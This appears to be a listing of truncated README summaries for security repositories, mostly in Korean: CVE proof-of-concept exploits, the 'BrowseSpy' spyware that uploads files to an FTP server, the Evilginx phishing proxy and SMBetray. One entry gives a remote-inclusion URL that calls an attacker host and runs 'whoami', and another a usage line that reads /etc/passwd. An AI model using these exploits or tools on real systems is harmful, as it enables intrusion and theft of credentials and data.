DocViewerExploitApp

DocViewerExploit 앱 - CVE-2021-40724 이는 MobileHackingLab의 Document Viewer를 악용하기 위한 소스 코드입니다. 취약한 앱 정보 이는 MobileHackingLab DocumentViewer Abdroid App Dynamic Code Loading RCE challenge를 위한 익스플로잇 앱입니다. 이 챌린지는 Adobe Acrobat Reader Android 앱에서 발견된 CVE-2021-40724 취약점을 에뮬레이트합니다. 앱은 라이브러리 파일에서 코드를 동적으로...

goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

Goahead 웹서버 v5.1.5 미만 RCE PoC CVE-2021-42342 Goahead Webserver의 최근 버그가 William Bowling에 의해 발견되었으며, 이로 인해 공격받은 서버에서 RCE가 발생합니다. 이 문제는 5.1.5 미만 버전에 존재하며, Shodan에 따르면 약 280만 개의 인터넷 서버가 이에 해당합니다. 현재 CVE도 공개되었습니다 https://nvd.nist.gov/vuln/detail/CVE-2021-42342 RCE의 원인은 파일 업로드 필터가 활성화된 경우 사용자가 파일을 업로드함...

CVE-2020-17519

취약한 애플리케이션 이 모듈은 Apache Flink 버전 1.11.0및 1.11.1, 1.11.2에서도 공개됨의 인증되지 않은 디렉터리 트래버설 취약점을 악용하여 웹 서버 권한으로 임의 파일 읽기를 허용합니다. 취약한 버전: flink-1.11.0-src.tgz, 검증 단계 1. msfconsole 시작 2. use auxiliary/scanner/http/apacheflinkfileread 사용 3. RHOSTS 설정 4. RPORT 설정 5. 공격 실행: run 옵션 시나리오 Ubuntu 20.04에서 Apache Fli...

pyxamstore

Xamarin AssemblyStore Explorer pyxamstore This is an alpha release of an assemblies.blob AssemblyStore parser written in Python. The tool is capable of unpack and repackaging assemblies.blob and assemblies.manifest Xamarin files from an APK. Installing Run the installer script: python setup.py...

wa-crypt-tools

WhatsApp Crypt Tools WhatsApp 및 WA Business의 .crypt12, .crypt14, .crypt15 파일을 손쉽게 복호화하고 암호화하세요! 복호화를 위해서는 키 파일 또는 64자 길이의 키가 필요합니다 또는 키가 담긴 스크린샷. 키 파일은 백업이 crypt14인 경우 "key", 백업이 crypt15암호화된 E2E 백업인 경우 "encryptedbackup.key"로 명명됩니다. WhatsApp 포렌식을 위한 더 완전한 도구 모음을 찾고 있다면 whapa를 확인하세요. 빠른 설치 클라우드 -...

HeaderLessPE

HeaderLessPE 소개 中文 HeaderLessPE는 Icedid 트로이 목마가 사용하는 메모리 PE 로딩 기술입니다. 이 기술을 기반으로 HVNC를 사용한 파일리스 공격의 새로운 방식을 제안합니다. 이 개선을 통해 HeaderLessPE를 주입하여 그래픽 해킹 도구를 제한 없이 실행할 수 있습니다. MemDll과 같은 다른 인메모리 로딩 기술과 비교하여 확장된 HeaderLessPE는 두 가지 장점이 있습니다: 전통적인 DOS 및 PE 헤더 IOC 회피 DOS 헤더와 PE 헤더는 메모리 스캐닝의 주요 대상이 되는 경우가...

tesseract

Tesseract용 단위 테스트 요구 사항 파일 및 구조 ├── langdatalstm │ ├── common.punc │ ├── common.unicharambigs │ ├── desiredbigrams.txt │ ├── eng │ │ ├── desiredcharacters │ │ ├── eng.config │ │ ├── eng.numbers │ │ ├── eng.punc │ │ ├── eng.singlestext │ │ ├── eng.trainingtext │ │ ...

CVE-2023-4590

CVE-2023-4590 dgndrn이 작성한 Frhed무료 hex 에디터 v1.6.0의 PoC - 버퍼 오버플로우SEH 사용법 exploit.py를 실행하고, 생성된 payload.txt의 모든 문자열을 복사한 다음 Frhed.exe를 여는 매개변수로 사용하세요. Frhed.exe payload...

CVE-2023-3452-PoC

CVE-2023-3452-PoC - 워드프레스 플러그인 Canto 을 작성하면 원격으로 코드를 실행할 수 있습니다. http://192.168.1.142/wp-content/plugins/canto/includes/lib/download.php?wpabspath=http://192.168.1.33:8080&cmd=whoami !imagehttps://assets.kitploit.com/p...

dirtycow-replacer

お断り: 私はこのコードを正式にテストしていません 教育ツールとして設計されています。 これは何をするものですか？ android-dirtycow-replacer は、CVE-2016-5195 の dirtycow エクスプロイトを使用して、1000以上のファイルのリストにパッチを適用します。 10000に編集することもできますが、1000で十分なはずです。 まずファイルが異なることを確認し、異なる場合は置換を試み、エラーがあれば停止します。 ファイルを編集したり、selinux にパッチを当てたり、その他の方法でファイルを提供するのはあなたの仕事です。 dirtycow...

CVE-2025-27591-Below

CVE-2025-27591-Below 📌 설명 이는 개념 증명PoC 익스플로잇으로, CVE-2025-27591 below 시스템 모니터 도구의 로컬 권한 상승 취약점에 대한 것입니다. 문제는 상승된 권한으로 실행될 때 로그 파일/var/log/below/errorroot.log의 안전하지 않은 처리에서 발생합니다. 이를 악용하여 공격자는 심볼릭 링크 공격 을 수행하고 악성 사용자를 /etc/passwd에 주입하여 사실상 루트 액세스 권한을 부여받을 수 있습니다. ⚙️ 영향받는 대상 바이너리 : /usr/bin/below 요구사항...

CVE-2025-24071-PoC

CVE-2025-24071 - Windows 파일 탐색기 스푸핑 취약점 개념 증명 개요 CVE-2025-24071 은 Windows 파일 탐색기의 스푸핑 취약점으로, 인증되지 않은 공격자가 네트워크를 통해 민감한 정보를 노출할 수 있게 합니다. 이 취약점은 Windows 탐색기에서 .library-ms 파일에 대한 암시적 신뢰와 자동 구문 분석 동작으로 인해 발생합니다. SMB 경로가 포함된 .library-ms 파일을 담은 악성 아카이브 파일예: RAR/ZIP을 제작함으로써, 공격자는 추출 시 SMB 인증 요청을 유발하여...

CVE-2021-22201

CVE-2021-22201 CVE-2021–22201 Gitlab에서의 임의 파일 읽기 13.9.0 = Gitlab 13.9.5 사용법 python CVE-2021-22201.py url username password 참조 CVE-2021–22201: Arbitrary file read on Gitlab | by Son Nguy3n | Jun, 2021 | tradahacking Project import/export API | GitLab 1132378 Arbitrary file read during project impo...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE CVE-2018-16763을 통해 FuelCMS = 1.4.1에서 RCE를 트리거하고 대화형 셸을 사용하는 익스플로잇입니다. 기능 CVE-2018-16763을 사용하여 FuelCMS에 PHP 웹셸 API를 자동으로 업로드합니다. ?action=exec을 통해 API로 시스템 명령어를 실행합니다. ?action=download를 통해 원격 시스템에서 공격 머신으로 파일을 다운로드합니다. 사용법 요구사항 : 필요 없음, 이 익스플로잇은 인증 없이 사용 가능합니다...

spybrowse

BrowseSpy Be sure to change the ftp variables throughout the code, these variables contain the username, password, & IP address of the FTP server which receives the files. This code will do the following: 1. Copy itself into the %TMP% directory & name itself ursakta.exe 2. Add a registry entry to...

evilginx

Evilginx v.1.1.0 THIS VERSION IS OBSOLETE. PLEASE USE THE LATEST VERSION! EVILGINX 2:https://github.com/kgretzky/evilginx2 Evilginx is a man-in-the-middle attack framework used for phishing credentials and session cookies of any web service. It's core runs on Nginx HTTP server, which utilizes...

CVE-2019-12744

CVE-2019-12744 정보 Exploit 제목: SeedDMS 5.1.11 미만 버전에서 검증되지 않은 파일 업로드를 통한 원격 명령 실행 CVE: CVE-2019-12744 공급업체 홈페이지: https://www.seeddms.org/index.php?id=2 Exploit 작성자: NobodyAtall 테스트 버전: Seeddms 5.1.10, 5.0.11 테스트 OS: Windows 7 x64 Medium 기사...

SMBetray

SMBetray Version 1.0.0. This tool is a PoC to demonstrate the ability of an attacker to intercept and modify insecure SMB connections, as well as compromise some secured SMB connections if credentials are known. Background Released at Defcon26 at "SMBetray - Backdooring and Breaking Signatures" I...

SMBetray

SMBetray 버전 1.0.0. 이 도구는 공격자가 안전하지 않은 SMB 연결을 가로채고 수정할 수 있는 능력과, 자격 증명이 알려진 경우 일부 보안 SMB 연결을 손상시킬 수 있는 능력을 입증하기 위한 PoC입니다. 배경 Defcon26에서 "SMBetray - Backdooring and Breaking Signatures"로 공개됨 SMB 연결에서 서버와 클라이언트 간에 전달되는 데이터의 무결성을 보호하는 보안 메커니즘은 SMB 서명 및 암호화입니다. SMB 서명이 사용될 때 SMB 패킷의 서명은 인증 단계에서 네트워크...

CVE-2021-42013

CVE-2021-42013 PoC CVE-2021-42013 - CGI가 활성화되지 않은 Apache 2.4.50 사용 방법 : chmod -x CVE-2021-42013.sh ./CVE-2021-42013.sh http://ip:port/ /etc/passwd 참고 자료 https://nvd.nist.gov/vuln/detail/CVE-2021-42013 https://vulners.com/cve/CVE-2021-42013...